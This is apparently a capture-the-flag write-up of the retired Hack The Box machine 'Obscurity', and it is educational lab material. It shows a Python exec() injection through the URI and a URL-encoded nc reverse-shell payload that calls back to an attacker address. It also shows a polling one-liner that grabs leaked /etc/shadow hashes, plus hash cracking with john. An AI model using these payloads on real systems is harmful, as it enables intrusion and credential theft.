This page looks best with JavaScript enabled

Hack The Box :: Obscurity

 ·  ☕ 5 min read  ·  🧔🏻 noobintheshell


Obscurity is a Medium Linux box created by clubby789. It was released on November 30th, 2019 and retired on May 9th, 2020. The users rated the difficulty 4.8/10 and gave an overall score of 4/5 to the box.

Obscurity Info Card
Obscurity Info Card

TL;DR

We discover the Python source code of the custom web server in a hidden folder of the website it hosts. After analysis, we find out that the server is vulnerable to RCE through the URI. We exploit it to get a reverse shell as www-data. We find another Python script in robert home folder used to encrypt/decrypt files. As we have as well access to a pair of plain/cipher-text, we retrieve the key used with a dictionary attack by re-using the decryption function. We can use the key to decrypt another file that contains robert password. We can then log in through SSH and get the user flag. robert can run yet another Python script as root. This time it is a custom SSH server that copies the hashes of /etc/shadow in a temp file that is world-readable and deletes it after usage. A bash one-liner is used to monitor that and leak the root hash that we crack to get the root flag.


Reconnaissance & Enumeration

Open Ports

An NMAP scan shows the following (partial) output:

$ sudo nmap -sS -sV -p- 10.10.10.168

PORT STATE  SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8080/tcp  open http-proxy  BadHTTPServer

We discover:

  • the usual OpenSSH v7.6p1 server,
  • a BadHTTPServer on port 8080. This could be a custom web server or coming from some GitHub repo like this one.

Web discovery

We have access to a static website on port 8080 that seems to offer a “secure” hosting based on custom tools:

website landing page
website landing page

There is a message at the bottom that leaks the filename of the web server source code and that is apparently stored in a secret folder:

website footer
website footer

Knowing this, we can better target our folder discovery with wfuzz:

$ wfuzz -w wordlists/big.txt --hc=403,404,500 http://10.10.10.168:8080/FUZZ/SuperSecureServer.py

And the folder found is develop. We download the source code for analysis:

$ wget http://10.10.10.168:8080/develop/SuperSecureServer.py
Fuzzing only folders like http://10.10.10.168:8080/FUZZ always returns an error code 404 even if the folder exists. Error code 403 is not used.

Gaining Access

The source code is a little more than 150 lines long. We start by checking if some dangerous functions like eval, exec, os.system, os.popen or subprocess.call are used.

We find an exec call on line 139:

SuperSecureServer.py RCE vulnerability
SuperSecureServer.py RCE vulnerability

The URI is not sanitized before being used as part of the info string and being executed afterward. This leads to Remote Code Execution (RCE). If we set a URI like ';os.system('ping -c3 10.10.14.94');x=', the following will be executed:

exec(“output = 'Document: ';os.system('ping -c3 10.10.14.94');x=''")

Let’s try it out:

Remote Code Execution
Remote Code Execution

Good! Now let’s replace our ping with a reverse shell. The URL becomes:

http://10.10.10.168:8080/';os.system(%22rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f%7C/bin/bash%20-i%202%3E&1%7Cnc%2010.10.14.94%201234%20%3E/tmp/f%22);x='
reverse shell
reverse shell

And we get a shell as www-data.


Local Reconnaissance & Enumeration

We find some interesting files that we can read in robert home folder. The SuperSecureCrypt.py script is used to encrypt/decrypt files. We have as well a plaintext file check.txt that contains:

Encrypting this file with your key should result in out.txt, make sure your key is correct!

And its encrypted version out.txt. Another encrypted file passwordreminder.txt may contain robert password.

Moreover, a folder called BetterSSH contains the source code of a custom SSH server.

We retrieve all those files locally for analysis.


Privilege Escalation

User pivoting

Let’s try to decrypt passwordreminder.txt. The encryption algorithm is quite simple. It takes the encryption key and the plaintext as arguments, loops through the characters of the plaintext and adds the value of the key characters modulo 255 to obtain the ciphertext:

SuperSecureCrypt.py — encrypt()
SuperSecureCrypt.py — encrypt()

We can re-use the given encryption or decryption algorithm and brute-force the key, character by character, as we have the plaintext and ciphertext. The following script retrieves the encryption key and decrypts passwordreminder.txt:

The key used is alexandrovich and the decrypted content is: SecThruObsFTW which is the password of robert. We can now SSH in and get the user flag:

robert@obscure:~$ cat user.txt
e449************************a2d7

Root escalation

robert is a sudoer and can run a Python script as root without password:

sudo -l
sudo -l

This is the custom SSH server that we saw previously. If we run it, we are asked for credentials and then it tries to open a random file in /tmp/SSH/. It throws an error as this folder does not exist:

BetterSSH.py — fail
BetterSSH.py — fail

Let’s create this folder and try again:

BetterSSH.py — success
BetterSSH.py — success

Ok, we get a shell. The random folder was deleted. Let’s check in the source code what is really going behind the scene.

Once we enter our credentials, the script reads /etc/shadow and copies the user hashes to a random file in /tmp/SSH. Which means that theroot hash is written in a file that is world-readable! Our password is then hashed and compared to the existing one…in memory! The random temporary file is not used for the verification and could be removed:

BetterSSH.py snippet
BetterSSH.py snippet

The goal is to read the content of the random temporary file to retrieve root hash. This can be achieved with the following one-liner from a second shell:

$ while true; do if [ "$(ls -A /tmp/SSH)" ]; then cat /tmp/SSH/*; break; fi; done

It waits for the /tmp/SSH folder to contain a file, outputs its content then quits the loop:

root hash leak
root hash leak

As expected, we get root hash that we can crack with john and the usual wordlist:

$ john --wordlist=wordlists/rockyou.txt hash.txt

The password is: mercedes. As root login is not permitted, we can simply use su:

root flag
root flag

Conclusion

We saw some good examples of security through obscurity and why this must be avoided, whatever brilliant idea one can have!

Here are some takeaways of this box:

  • open-source your code,
  • do not code your own tools when better open-source alternatives exist,
  • do code QA and clean dead code.

Resources

[1] Bad-Http-Server
https://github.com/raintank/bad-http-server

Share on

Avatar
WRITTEN BY
noobintheshell
AppSec Engineer and CTFer